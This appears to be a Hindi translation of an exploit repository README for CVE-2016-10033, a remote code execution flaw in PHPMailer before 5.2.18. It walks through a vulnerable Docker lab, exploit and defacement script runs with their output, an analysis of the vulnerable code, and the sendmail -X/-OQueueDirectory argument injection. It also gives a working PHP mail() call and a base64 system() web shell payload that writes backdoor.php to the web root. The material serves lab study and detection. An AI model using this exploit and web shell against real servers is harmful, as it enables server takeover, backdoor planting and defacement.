
PHPMailer < 5.2.18 रिमोट कोड निष्पादन शोषण और कमजोर कंटेनर
PHPMailer दुनिया का सबसे लोकप्रिय ट्रांसपोर्ट क्लास है, जिसके दुनिया भर में लगभग 9 मिलियन उपयोगकर्ता हैं। डाउनलोड प्रतिदिन महत्वपूर्ण गति से जारी रहता है। इसका उपयोग कई ओपन-सोर्स प्रोजेक्ट्स द्वारा किया जाता है: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! और कई अन्य।
PHPMailer, अपने संस्करण 5.2.18 से पहले, एक ऐसी कमजोरी से ग्रस्त है जो रिमोट कोड निष्पादन (RCE) तक ले जा सकती है। PHPMailer में isMail ट्रांसपोर्ट में mailSend फ़ंक्शन, जब Sender प्रॉपर्टी सेट नहीं होती है, तो रिमोट हमलावरों को mail कमांड में अतिरिक्त पैरामीटर पास करने और इसके परिणामस्वरूप एक क्राफ्टेड From पते में " (बैकस्लैश डबल कोट) के माध्यम से मनमाना कोड निष्पादित करने की अनुमति दे सकता है।
अपने परीक्षण के लिए एक असुरक्षित वातावरण स्थापित करने के लिए आपको Docker इंस्टॉल करना होगा, और बस निम्नलिखित कमांड चलाएँ:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
और यह आपके होस्ट पर 8080 पोर्ट पर एक असुरक्षित वेब एप्लिकेशन उत्पन्न करेगा

इस लक्ष्य का शोषण करने के लिए बस चलाएँ:
./exploit host:port
यदि आप इस असुरक्षित छवि का उपयोग कर रहे हैं, तो आप बस चला सकते हैं:
./exploit localhost:8080
शोषण के बाद, backdoor.php नामक एक फ़ाइल वेब निर्देशिका के रूट फ़ोल्डर में संग्रहीत हो जाएगी। और शोषण आपको एक शेल देगा जहाँ आप बैकडोर को कमांड भेज सकते हैं:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
और बस, आपके पास अपना शेल है। एक और शोषण है, जो एक और उपयोग मामले को दर्शाता है।
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
और यदि आप पृष्ठ पर फिर से जाते हैं, तो आप यह देखेंगे:

इस कमिट से पहले class.phpmailer.php में एक निश्चित परिदृश्य में प्रेषक के ईमेल पते के विशेष वर्णों में कोई फ़िल्टर नहीं है। यह दोष mail फ़ंक्शन यहाँ के माध्यम से रिमोट कोड निष्पादन का कारण बन सकता है।
कोड का विश्लेषण करने पर, mailSend() फ़ंक्शन में कोई फ़िल्टर नहीं है
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender को सीधे $params वेरिएबल में जोड़ा जाता है, जिसे validateAddress() फ़ंक्शन में फ़िल्टर किया गया था, लेकिन चूंकि यह RFC 3696 विनिर्देशन का उपयोग करता है, यह कुछ ऐसे वर्णों की अनुमति देता है जो चीजों को तोड़ देंगे।
इस मामले में, कोट्स:
बैकस्लैश वर्ण का उपयोग करके कोटिंग करने के अलावा, पारंपरिक डबल-कोट वर्णों का उपयोग स्ट्रिंग्स को घेरने के लिए किया जा सकता है। उदाहरण के लिए
"Abc@def"@example.com
"Fred Bloggs"@example.com
ऊपर दिए गए पहले दो उदाहरणों के वैकल्पिक रूप हैं। ये कोटेड रूप शायद ही कभी अनुशंसित होते हैं, और व्यवहार में असामान्य हैं, लेकिन, जैसा कि ऊपर चर्चा की गई है, उन एप्लिकेशनों द्वारा समर्थित होना चाहिए जो ईमेल पतों को संसाधित कर रहे हैं। विशेष रूप से, कोटेड रूप अक्सर अन्य सिस्टम और संदर्भों से संक्रमण से जुड़े पतों के संदर्भ में दिखाई देते हैं; वे संक्रमणकालीन आवश्यकताएँ अभी भी उत्पन्न होती हैं और, चूंकि एक सिस्टम जो उपयोगकर्ता द्वारा प्रदान किया गया ईमेल पता स्वीकार करता है "जान" नहीं सकता कि वह पता किसी विरासत सिस्टम से जुड़ा है या नहीं, इसलिए पते के रूपों को स्वीकार किया जाना चाहिए और ईमेल वातावरण में पास किया जाना चाहिए।
यदि आप चाहें तो पूरा RFC यहाँ पढ़ सकते हैं। लेकिन साथ ही, यदि PHP संस्करण 5.2.0 से कम है, और PCRE स्थापित नहीं है, तो validateAddress() में $patternselect वेरिएबल noregex पर सेट हो जाएगा। यह इनपुट को किसी भी regex जांच से बचने में सक्षम बनाएगा। यह केवल एक छोटी सी सत्यापन प्रक्रिया से गुज़रेगा:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
फिर, कोड प्रवाह mailPassthru() फ़ंक्शन पर जाता है, जो यदि safe_mode में चल रहा है तो इस दोष के प्रति असुरक्षित नहीं होगा, जैसा कि निम्नलिखित कोड बताता है
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
लेकिन, यदि यह safe_mode में नहीं चल रहा है, तो हमारा विशेष पैरामीटर mail() में पास हो जाएगा और, यदि हम भाग्यशाली थे, तो यह हमारी फ़ाइल को वहाँ लिख देगा जहाँ हम चाहते हैं कि इसे लिखा जाए।
PHP mail() फ़ंक्शन का शोषण कोई नई बात नहीं है, लेकिन यह अभी भी जीवित है और लोग अभी भी इसका उपयोग कर रहे हैं। यह समझाने के लिए कि यह कैसे काम करता है, आइए देखें कि mail() फ़ंक्शन कैसे परिभाषित है:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
विभिन्न परिणामों के लिए शोषण के कई तरीके हैं, हम रिमोट कोड निष्पादन (RCE) प्राप्त करने के लिए 5वें पैरामीटर के शोषण पर ध्यान केंद्रित करेंगे। पैरामीटर $additional_parameters का उपयोग ईमेल भेजने के लिए कॉन्फ़िगर किए गए प्रोग्राम में कमांड लाइन विकल्पों के रूप में अतिरिक्त फ़्लैग पास करने के लिए किया जाता है। यह कॉन्फ़िगरेशन sendmail_path वेरिएबल द्वारा परिभाषित किया गया है।
php आधिकारिक दस्तावेज़ीकरण से एक सुरक्षा नोट:
additional_parameters पैरामीटर का उपयोग ईमेल भेजते समय उपयोग किए जाने वाले प्रोग्राम में अतिरिक्त फ़्लैग को कमांड लाइन विकल्पों के रूप में पास करने के लिए किया जा सकता है, जैसा कि sendmail_path कॉन्फ़िगरेशन सेटिंग द्वारा परिभाषित किया गया है। उदाहरण के लिए, इसका उपयोग sendmail के साथ -f विकल्प का उपयोग करके लिफाफा प्रेषक पता सेट करने के लिए किया जा सकता है।
यह पैरामीटर कमांड निष्पादन को रोकने के लिए आंतरिक रूप से escapeshellcmd() द्वारा एस्केप किया जाता है। escapeshellcmd() कमांड निष्पादन को रोकता है, लेकिन अतिरिक्त पैरामीटर जोड़ने की अनुमति देता है। सुरक्षा कारणों से, अनुशंसा की जाती है कि उपयोगकर्ता शेल कमांड में अवांछित पैरामीटर जोड़ने से बचने के लिए इस पैरामीटर को सैनिटाइज़ करे।
इंजेक्ट किए जा सकने वाले अतिरिक्त पैरामीटरों पर विचार करते हुए, हम इस दोष का शोषण करने के लिए -X का उपयोग करेंगे। -X पैरामीटर के बारे में अधिक जानकारी
-X logfile
संकेतित लॉग फ़ाइल में मेलर्स के अंदर और बाहर सभी ट्रैफ़िक लॉग करें। इसका उपयोग केवल मेलर बग को डीबग करने के अंतिम उपाय के रूप में किया जाना चाहिए। यह बहुत तेज़ी से बहुत सारा डेटा लॉग करेगा।
कुछ अन्य दिलचस्प पैरामीटर भी हैं जिनके बारे में आपको पता होना चाहिए:
-Cfile
वैकल्पिक कॉन्फ़िगरेशन फ़ाइल का उपयोग करें। यदि कोई वैकल्पिक कॉन्फ़िगरेशन फ़ाइल निर्दिष्ट की जाती है तो Sendmail किसी भी उन्नत (set-user-ID या set-group-ID) विशेषाधिकारों को छोड़ देता है।
और
-O option=value
विकल्प विकल्प को निर्दिष्ट मान पर सेट करें। यह फ़ॉर्म लंबे नामों का उपयोग करता है।
और -O विकल्प के लिए, QueueDirectory सबसे दिलचस्प विकल्प है, यह विकल्प उस निर्देशिका का चयन करता है जिसमें संदेशों को क्यू किया जाए।
यदि आप पैरामीटर और विकल्पों की पूरी सूची पढ़ना चाहते हैं, तो बस man sendmail या इसे ऑनलाइन यहाँ पढ़ें।
इस जानकारी और कम से कम एक अन्य पैरामीटर को नियंत्रित करने की क्षमता के आधार पर, हम होस्ट का शोषण कर सकते हैं। सफल शोषण के लिए नीचे दिए गए चरण हैं:
$additional_parameters और एक अन्य mail() पैरामीटर को नियंत्रित करेंwebroot के अंतर्गत कुछ भी हो सकती है (दूसरे सिस्टम के लिए /var/www/html, इस उदाहरण के लिए /www)system() पेलोड का उपयोग कर रहे हैं, जिसमें base64 और कुछ विशेष वर्ण | का उपयोग करके इसे पार्स करना आसान बनाया गया है।याद रखें कि -X विकल्प लॉग फ़ाइल लिखेगा, जिसमें लॉग जानकारी के बीच आपका PHP पेलोड होगा, उस निर्देशिका में जो आप बताएंगे। एक असुरक्षित PHP कोड का उदाहरण:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
यदि आप उपरोक्त कोड निष्पादित करते हैं, तो यह /www/backdoor.php में एक लॉग फ़ाइल बनाएगा, यही इस शोषण का सार है।
इस उदाहरण में उपयोग किया गया पेलोड नीचे दिया गया है
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
इस दोष को देखने का एक आसान, एक-कमांड तरीका चाहते हैं? इस जादुई grep कमांड को याद रखें!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
इसे इस रिपॉजिटरी के विरुद्ध चलाने पर परिणाम मिलेगा
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
यह कमजोरी Dawid Golunski द्वारा पाई गई थी।
यह या पिछला प्रोग्राम केवल शैक्षिक उद्देश्य के लिए है। अनुमति के बिना इसका उपयोग न करें। सामान्य अस्वीकरण लागू होता है, विशेष रूप से यह तथ्य कि मैं (opsxcq) इन प्रोग्रामों द्वारा प्रदान की गई जानकारी या कार्यक्षमता के प्रत्यक्ष या अप्रत्यक्ष उपयोग से होने वाली किसी भी क्षति के लिए उत्तरदायी नहीं हूँ। लेखक या कोई भी इंटरनेट प्रदाता इन प्रोग्रामों या उनके किसी भी व्युत्पन्न की सामग्री या दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। इन प्रोग्रामों का उपयोग करके आप इस तथ्य को स्वीकार करते हैं कि इन प्रोग्रामों के उपयोग से होने वाली कोई भी क्षति (डेटा हानि, सिस्टम क्रैश, सिस्टम से समझौता, आदि) opsxcq की जिम्मेदारी नहीं है।